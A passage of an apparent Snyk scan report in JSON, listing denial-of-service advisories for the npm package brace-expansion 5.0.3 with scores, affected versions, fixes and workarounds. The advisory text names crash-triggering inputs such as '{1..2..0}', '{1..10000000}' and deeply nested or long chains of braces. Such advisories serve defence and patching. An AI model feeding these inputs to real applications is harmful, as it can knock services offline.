Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], 